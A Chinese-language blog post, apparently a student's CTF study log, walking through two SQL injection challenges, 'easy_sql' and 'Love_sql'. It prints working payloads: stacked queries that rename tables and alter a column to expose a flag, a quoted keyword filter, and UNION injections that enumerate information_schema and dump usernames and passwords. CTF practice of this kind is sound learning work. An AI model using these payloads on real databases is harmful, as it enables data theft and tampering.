今天的内容主要是sqli,好幾天沒寫首先因為這幾天剛開學事情比較多,二是因為這幾天一直都在學習,刷題反而不是很多,今天和同學去圖書館學了一波,感覺收獲很大。
easy_sql(來自攻防世界web進階區)
題目連結: easy_sql.
首先我們嘗試一個單引号,報錯
error 1064 : You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ‘’’’’ at line 1
可以判斷sql語句應該是 =’ input’
嘗試用1’–+注入,發現被過濾掉
嘗試用#,成功
用order by 判斷列數為2
![](https://img.laitimes.com/img/9ZDMuAjOiMmIsIjOiQnIsIiclRnblN2XjlGcjAzNfRHLGZkRGZkRfJ3bs92YsYTMfVmepNHLzkkeNpXU65kMRpHW3BjMMBjVtJWd0ckW65UbM5WOHJWa5kHT20ESjBjUIF2X0hXZ0xCMx81dvRWYoNHLrdEZwZ1Rh5WNXp1bwNjW1ZUba9VZwlHdssmch1mclRXY39CXldWYtlWPzNXZj9mcw1ycz9WL49zZuBnL5EjMyUTMwYTM1ATOwAjMwIzLc52YucWbp5GZzNmLn9Gbi1yZtl2Lc9CX6MHc0RHaiojIsJye.png)
用select語句發現被過濾了
return preg_match("/select|update|delete|drop|insert|where|./i",$inject);
嘗試堆疊注入:
查詢所有庫
查詢所有表:
查詢這兩個表内的字段
1';show columns from words;#
1';show columns from `1919810931114514`;#
這裡可以判斷預設查詢的是words這個表,我們通過改名字把數字名字表改為words然後把flag字段改成id
1';rename tables `words` to `words1`;rename tables `1919810931114514` to `words`; alter table `words` change `flag` `id` varchar(100);#
Love_sql(來自buuctf 極客大挑戰2019)
1’ or1=2 union select 1,2,group_concat(schema_name) from information_schema.schemata #
1’ or 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘geek’ #
1’ or 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=‘l0ve1ysq1’ #
l0ve1ysq1
1’ or 1=2 union select 1,group_concat(username),group_concat(password) from l0ve1ysq1 #